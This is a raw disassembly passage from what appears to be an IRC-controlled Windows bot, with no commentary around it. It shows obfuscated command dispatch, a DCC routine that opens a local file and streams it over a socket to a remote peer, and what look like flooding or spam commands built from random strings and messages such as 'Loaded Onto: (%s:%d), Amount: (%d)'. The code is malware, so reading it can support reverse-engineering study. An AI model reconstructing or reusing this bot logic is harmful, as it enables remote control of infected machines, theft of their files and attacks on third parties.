dword_42F070 test eax, eax jnz short loc_4059EA mov [ebp+var_8C8], 1 loc_4059EA: ; CODE XREF: sub_403B2C+1EA4j ; sub_403B2C+1EB2j mov eax, [esi+8] test eax, eax jz short loc_405A69 push eax push offset aCwxsh_xflvu_ ; "cwXsH.xFlvu." call ebx ; dword_42F070 test eax, eax jnz short loc_405A5E cmp [ebp+var_8CC], eax jnz short loc_405A1F cmp [ebp+var_8C8], eax lea eax, [ebp+var_95C] jnz short loc_405A3D push offset aKb ; "KB" push 400h jmp short loc_405A47 ; --------------------------------------------------------------------------- loc_405A1F: ; CODE XREF: sub_403B2C+1ED7j cmp [ebp+var_8C8], eax jnz loc_40AF54 push offset aMb ; "MB" push 100000h lea eax, [ebp+var_95C] jmp short loc_405A47 ; --------------------------------------------------------------------------- loc_405A3D: ; CODE XREF: sub_403B2C+1EE5j push offset aGb ; "GB" push 40000000h loc_405A47: ; CODE XREF: sub_403B2C+1EF1j ; sub_403B2C+1F0Fj push [ebp+var_8A8] push [ebp+var_960] push eax call sub_4153BB jmp loc_40A5CD ; --------------------------------------------------------------------------- loc_405A5E: ; CODE XREF: sub_403B2C+1ECFj mov eax, [esi+8] mov [ebp+var_8D8], eax jmp short loc_405A78 ; --------------------------------------------------------------------------- loc_405A69: ; CODE XREF: sub_403B2C+1EC3j and [ebp+var_8D8], 0 jmp short loc_405A78 ; --------------------------------------------------------------------------- loc_405A72: ; CODE XREF: sub_403B2C+1E88j mov [ebp+var_8D8], ecx loc_405A78: ; CODE XREF: sub_403B2C+1F3Bj ; sub_403B2C+1F44j mov ebx, offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push ebx push offset aSDrives ; "%s Drives" push 7 call sub_41BED7 add esp, 0Ch mov [ebp+var_8DC], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_960] push esi push eax push offset sub_415686 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_8DC] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_405B14 cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_405AF1 cmp [ebp+arg_18], 0 jnz short loc_405AFB call dword_42F068 ; RtlGetLastWin32Error push eax push offset aDrives ; "Drives" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_405AF1: ; CODE XREF: sub_403B2C+1FA1j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_405AFB: ; CODE XREF: sub_403B2C+1FA7j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aDrives ; "Drives" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_403B2C+1FEEj push 32h call dword_42F15C ; Sleep loc_405B14: ; CODE XREF: sub_403B2C+1F96j cmp [ebp+var_8A4], esi jz short loc_405B0C jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_405B21: ; CODE XREF: sub_403B2C+1DE2j push dword ptr [esi] push offset aHpmch0pbq800 ; "HPmCH0PbQ800" call ebx ; dword_42F070 test eax, eax jnz loc_405ECC xor ebx, ebx cmp [esi+4], ebx jnz short loc_405B6F cmp [ebp+arg_14], ebx mov esi, offset aSMissingParamS ; "%s Missing param(s)" jnz short loc_405B5C cmp [ebp+arg_18], ebx jnz short loc_405B65 push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_405B5C: ; CODE XREF: sub_403B2C+2015j cmp [ebp+arg_18], ebx jz loc_40AF54 loc_405B65: ; CODE XREF: sub_403B2C+201Aj push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." jmp loc_40ADA0 ; --------------------------------------------------------------------------- loc_405B6F: ; CODE XREF: sub_403B2C+200Bj mov eax, [ebp+arg_10] mov ecx, [ebp+arg_14] mov [ebp+var_1530], eax mov eax, [ebp+arg_18] mov [ebp+var_1320], eax cmp eax, ebx mov [ebp+var_131C], ecx lea eax, [ebp+var_13A8] jnz short loc_405B99 push dword ptr [edi+0Ch] jmp short loc_405B9B ; --------------------------------------------------------------------------- loc_405B99: ; CODE XREF: sub_403B2C+2066j push dword ptr [edi] loc_405B9B: ; CODE XREF: sub_403B2C+206Bj push eax call dword_42F04C ; lstrcpyA push 80h lea eax, [ebp+var_1428] push dword ptr [edi] push eax call sub_4222F0 push dword ptr [esi+4] lea eax, [ebp+var_152C] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 18h lea eax, [ebp+var_152C] mov [ebp+var_60], ebx mov [ebp+arg_0], ebx push ebx push ebx push 3 push ebx push 1 push 80000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jnz short loc_405C02 push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push offset aSNoFile ; "%s No file" jmp loc_405CB6 ; --------------------------------------------------------------------------- loc_405C02: ; CODE XREF: sub_403B2C+20C5j push ebx push [ebp+arg_8] call dword_42F05C ; GetFileSize push ebx push 1 push 2 mov edi, eax call dword_42F29C ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_C], eax jnz short loc_405C30 push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push offset aSInvalidSocket ; "%s Invalid Socket" jmp loc_405CB6 ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_403B2C+20F3j push 10h lea eax, [ebp+var_70] push ebx push eax call sub_4221F0 mov esi, 400h push 0FA00h push esi mov [ebp+var_70], 2 call sub_41409E add esp, 14h push eax call dword_42F2B8 ; ntohs mov word ptr [ebp+var_6E], ax lea eax, [ebp+var_70] push 10h push eax push [ebp+arg_C] mov [ebp+var_6E+2], ebx call dword_42F268 ; bind test eax, eax jz short loc_405C82 push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push offset aSSocketBindErr ; "%s Socket Bind Error" jmp short loc_405CB6 ; --------------------------------------------------------------------------- loc_405C82: ; CODE XREF: sub_403B2C+2148j push 10h pop eax mov [ebp+var_50], eax mov [ebp+var_5C], eax lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_70] push eax push [ebp+arg_C] call dword_42F26C ; getsockname push 1 push [ebp+arg_C] call dword_42F270 ; listen cmp eax, 0FFFFFFFFh jnz short loc_405CCA push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push offset aSSocketError ; "%s Socket Error" loc_405CB6: ; CODE XREF: sub_403B2C+20D1j ; sub_403B2C+20FFj ... lea eax, [ebp+var_13A8] push eax push [ebp+arg_10] call sub_4104F6 jmp loc_404857 ; --------------------------------------------------------------------------- loc_405CCA: ; CODE XREF: sub_403B2C+217Ej push offset dword_455388 call dword_42F274 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_58] push eax call sub_4223F0 lea eax, [ebp+var_152C] push eax lea eax, [ebp+var_1428] push offset aSendingYouS ; "Sending you %s" push eax push [ebp+arg_10] call sub_410491 lea eax, [ebp+var_152C] push offset dword_455388 push eax lea eax, [ebp+var_1428] push offset aDccSendSS ; "DCC Send %s (%s)" push eax push [ebp+arg_10] call sub_410491 add esp, 30h push edi push [ebp+var_6E] call dword_42F278 ; ntohs movzx eax, ax push eax push [ebp+var_58] call dword_42F27C ; ntohl push eax lea eax, [ebp+var_152C] push eax lea eax, [ebp+var_1428] push offset aSDDI ; "%s %d %d %i" push eax push [ebp+arg_10] call sub_410557 mov eax, [ebp+arg_C] add esp, 1Ch mov [ebp+var_45E4], eax lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_45E8] push ebx push eax push ebx mov [ebp+var_78], 2Dh mov [ebp+var_74], ebx mov [ebp+var_45E8], 1 call dword_42F280 ; select test eax, eax jg short loc_405DC9 push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." lea eax, [ebp+var_13A8] push offset aSTimedOutClosi ; "%s Timed Out, closing connection." push eax push [ebp+arg_10] call sub_4104F6 add esp, 10h push [ebp+arg_8] call dword_42F038 ; CloseHandle push [ebp+arg_C] mov esi, dword_42F298 call esi ; dword_42F298 push ebx call esi ; dword_42F298 jmp loc_404808 ; --------------------------------------------------------------------------- loc_405DC9: ; CODE XREF: sub_403B2C+2263j lea eax, [ebp+var_50] push eax lea eax, [ebp+var_4E0] push eax push [ebp+arg_C] call dword_42F284 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_405E87 push [ebp+arg_C] call dword_42F298 ; closesocket mov [ebp+arg_4], edi loc_405DF5: ; CODE XREF: sub_403B2C+2355j push esi lea eax, [ebp+var_58DC] push ebx push eax mov [ebp+arg_68], esi call sub_4221F0 add esp, 0Ch cmp [ebp+arg_4], esi jnb short loc_405E14 mov eax, [ebp+arg_4] mov [ebp+arg_68], eax loc_405E14: ; CODE XREF: sub_403B2C+22E0j push ebx push ebx push [ebp+arg_0] push [ebp+arg_8] call dword_42F058 ; SetFilePointer lea eax, [ebp+var_60] push ebx push eax lea eax, [ebp+var_58DC] push [ebp+arg_68] push eax push [ebp+arg_8] call dword_42F054 ; ReadFile push ebx lea eax, [ebp+var_58DC] push [ebp+arg_68] push eax push [ebp+var_4] call dword_42F288 ; send mov [ebp+arg_68], eax push ebx lea eax, [ebp+var_58DC] push esi push eax push [ebp+var_4] call dword_42F28C ; recv mov ecx, [ebp+arg_0] mov [ebp+arg_4], edi add ecx, [ebp+arg_68] sub [ebp+arg_4], ecx mov [ebp+arg_0], ecx cmp [ebp+arg_4], 1 jb short loc_405E87 cmp [ebp+arg_68], 1 jb short loc_405E87 cmp eax, 1 jnb loc_405DF5 loc_405E87: ; CODE XREF: sub_403B2C+22B7j ; sub_403B2C+234Aj ... mov eax, [ebp+arg_0] cdq idiv esi shr edi, 0Ah push edi push eax push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." lea eax, [ebp+var_13A8] push offset aSConnectionClo ; "%s Connection closed: (%i/%ikB sent)." push eax push [ebp+arg_10] call sub_4104F6 add esp, 18h push [ebp+arg_8] call dword_42F038 ; CloseHandle push [ebp+arg_C] mov esi, dword_42F298 call esi ; dword_42F298 push [ebp+var_4] call esi ; dword_42F298 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_405ECC: ; CODE XREF: sub_403B2C+2000j push dword ptr [esi] push offset aLees11vpbnf0 ; "LeEs11vPbnf0" call ebx ; dword_42F070 test eax, eax jnz loc_407600 call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx push dword ptr [esi+4] push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb." call ebx ; dword_42F070 test eax, eax jnz loc_405FCD xor ecx, ecx cmp [esi+4], ecx jz loc_4067DD cmp [esi+8], ecx jz loc_4067DD cmp [esi+0Ch], ecx jz loc_4067DD mov eax, [esi+10h] cmp eax, ecx jz loc_4067DD push eax call sub_422B5A cmp eax, 0Ah pop ecx jle short loc_405F3F mov ebx, offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" mov esi, offset aSTooMuchConns_ ; "%s Too Much conns." jmp loc_407722 ; --------------------------------------------------------------------------- loc_405F3F: ; CODE XREF: sub_403B2C+2402j push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_4035A8 add esp, 0Ch cmp [ebp+arg_14], 0 jnz short loc_405F99 cmp [ebp+arg_18], 0 jnz short loc_405F9F push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_405F99: ; CODE XREF: sub_403B2C+2436j cmp [ebp+arg_18], 0 jz short loc_405FCD loc_405F9F: ; CODE XREF: sub_403B2C+243Cj push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)" push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_405FCD: ; CODE XREF: sub_403B2C+23CAj ; sub_403B2C+2471j push dword ptr [esi+4] push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406080 mov eax, [esi+0Ch] test eax, eax jz loc_406080 push eax lea eax, [ebp+var_3DD8] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_406051 loc_40600F: ; CODE XREF: sub_403B2C+2523j mov eax, [ebp+arg_C] mov eax, [esi+eax*4] test eax, eax jz short loc_406046 push eax lea eax, [ebp+var_6CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_6CAC] push 100h push eax lea eax, [ebp+var_3DD8] push eax call sub_421F40 add esp, 18h loc_406046: ; CODE XREF: sub_403B2C+24EBj inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40600F loc_406051: ; CODE XREF: sub_403B2C+24E1j lea eax, [ebp+var_3DD8] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_406080: ; CODE XREF: sub_403B2C+24B2j ; sub_403B2C+24BDj push dword ptr [esi+4] push offset aR7wrsQhek_0 ; "r7WRs/qHek.0" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_40630A cmp [esi+0Ch], eax jz loc_40630A call sub_4220FC push 1Ah cdq pop ecx idiv ecx add dl, 41h mov byte ptr [ebp+arg_C+3], dl call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx movsx eax, byte ptr [ebp+arg_C+3] push edx push eax call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC cdq push 0Fh pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx lea eax, [ebp+var_12CAC] push edx push offset dword_435610 push eax call sub_422063 lea eax, [ebp+var_12CAC] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 add esp, 0D0h lea eax, [ebp+var_3150] push eax call sub_4032AA pop ecx loc_40630A: ; CODE XREF: sub_403B2C+2565j ; sub_403B2C+256Ej push dword ptr [esi+4] push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406525 mov eax, [esi+0Ch] test eax, eax jz loc_406525 push eax lea eax, [ebp+var_44E4] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_40638E loc_40634C: ; CODE XREF: sub_403B2C+2860j mov eax, [ebp+arg_C] mov eax, [esi+eax*4] test eax, eax jz short loc_406383 push eax lea eax, [ebp+var_6CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_6CAC] push 100h push eax lea eax, [ebp+var_44E4] push eax call sub_421F40 add esp, 18h loc_406383: ; CODE XREF: sub_403B2C+2828j inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40634C loc_40638E: ; CODE XREF: sub_403B2C+281Ej lea eax, [ebp+var_44E4] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_435600 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355DC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355CC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355CC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h loc_406525: ; CODE XREF: sub_403B2C+27EFj ; sub_403B2C+27FAj push dword ptr [esi+4] push offset aDqjso_47pdb ; "dQJSO.47pdb/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_4065F1 cmp [esi+8], eax jz loc_4065F1 lea eax, [ebp+var_3150] push eax call sub_4032AA push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h loc_4065F1: ; CODE XREF: sub_403B2C+2A0Aj ; sub_403B2C+2A13j push dword ptr [esi+4] push offset aK9vUKkutm ; "K9V/U/KkuTM/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_4066A4 mov eax, [esi+0Ch] test eax, eax jz loc_4066A4 push eax lea eax, [ebp+var_46E8] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_406675 loc_406633: ; CODE XREF: sub_403B2C+2B47j mov eax, [ebp+arg_C] mov eax, [esi+eax*4] test eax, eax jz short loc_40666A push eax lea eax, [ebp+var_6CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_6CAC] push 100h push eax lea eax, [ebp+var_46E8] push eax call sub_421F40 add esp, 18h loc_40666A: ; CODE XREF: sub_403B2C+2B0Fj inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_406633 loc_406675: ; CODE XREF: sub_403B2C+2B05j lea eax, [ebp+var_46E8] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_4066A4: ; CODE XREF: sub_403B2C+2AD6j ; sub_403B2C+2AE1j push dword ptr [esi+4] push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406757 mov eax, [esi+0Ch] test eax, eax jz loc_406757 push eax lea eax, [ebp+var_3FDC] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_406728 loc_4066E6: ; CODE XREF: sub_403B2C+2BFAj mov eax, [ebp+arg_C] mov eax, [esi+eax*4] test eax, eax jz short loc_40671D push eax lea eax, [ebp+var_6CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_6CAC] push 100h push eax lea eax, [ebp+var_3FDC] push eax call sub_421F40 add esp, 18h loc_40671D: ; CODE XREF: sub_403B2C+2BC2j inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_4066E6 loc_406728: ; CODE XREF: sub_403B2C+2BB8j lea eax, [ebp+var_3FDC] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C0A0 push offset dword_4355C0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_406757: ; CODE XREF: sub_403B2C+2B89j ; sub_403B2C+2B94j push dword ptr [esi+4] push offset aNq_as1z1sit ; "nQ.As1Z1SIt/" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_406797 mov eax, [esi+8] test eax, eax jz short loc_406797 push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... push eax lea eax, [ebp+var_3150] push offset dword_4355B0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h loc_406797: ; CODE XREF: sub_403B2C+2C3Cj ; sub_403B2C+2C43j push dword ptr [esi+4] push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_40683C mov ecx, [esi+8] test ecx, ecx jz loc_40683C mov eax, [esi+0Ch] test eax, eax jz short loc_406815 push eax push ecx push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset dword_4355C0 push eax call sub_422063 add esp, 14h jmp short loc_40682F ; --------------------------------------------------------------------------- loc_4067DD: ; CODE XREF: sub_403B2C+23D5j ; sub_403B2C+23DEj ... cmp [ebp+arg_14], ecx mov esi, offset aSMissingParamS ; "%s Missing param(s)" jnz short loc_406802 cmp [ebp+arg_18], ecx jnz short loc_40680B push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h xor ecx, ecx loc_406802: ; CODE XREF: sub_403B2C+2CB9j cmp [ebp+arg_18], ecx loc_406805: ; CODE XREF: sub_403B2C+3ACFj jz loc_40AF54 loc_40680B: ; CODE XREF: sub_403B2C+2CBEj ; sub_403B2C+3AB2j push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" jmp loc_40ADA0 ; --------------------------------------------------------------------------- loc_406815: ; CODE XREF: sub_403B2C+2C92j push ecx push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 add esp, 10h loc_40682F: ; CODE XREF: sub_403B2C+2CAFj lea eax, [ebp+var_3150] push eax call sub_4032AA pop ecx loc_40683C: ; CODE XREF: sub_403B2C+2C7Cj ; sub_403B2C+2C87j push dword ptr [esi+4] push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40687C mov eax, [esi+8] test eax, eax jz short loc_40687C push eax push offset aZ_0 ; "=Z]" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h loc_40687C: ; CODE XREF: sub_403B2C+2D21j ; sub_403B2C+2D28j push dword ptr [esi+4] push offset aIegud0v_5_ ; "iEguD0V/.5/." call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4068C1 mov eax, [esi+8] test eax, eax jz short loc_4068C1 push offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"... push eax push offset aZ_0 ; "=Z]" lea eax, [ebp+var_3150] push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_4068C1: ; CODE XREF: sub_403B2C+2D61j ; sub_403B2C+2D68j push dword ptr [esi+4] push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G." call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_406933 cmp [esi+8], eax jz short loc_406933 call dword_42F164 ; GetTickCount push eax call sub_4220EF call sub_4220FC cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_1748] push edx push dword ptr [esi+8] push offset dword_4355A8 push eax call sub_422063 lea eax, [ebp+var_1748] push eax push offset dword_43C088 lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 28h loc_406933: ; CODE XREF: sub_403B2C+2DA6j ; sub_403B2C+2DABj push dword ptr [esi+4] push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406A88 mov eax, [esi+8] test eax, eax jz loc_406A88 push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset aZ_0 ; "=Z]" push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 2Ch call sub_4220FC cdq mov ecx, 3E8h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset aTf ; "'TF" push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 384h idiv ecx push edx call dword_42F15C ; Sleep push offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset aZ_0 ; "=Z]" push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset aTf ; "'TF" push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 2Ch call sub_4220FC cdq mov ecx, 0C8h idiv ecx push edx call dword_42F15C ; Sleep push offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset aZ_0 ; "=Z]" push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_406A88: ; CODE XREF: sub_403B2C+2E18j ; sub_403B2C+2E23j push dword ptr [esi+4] push offset aVi0qa1mvfro1 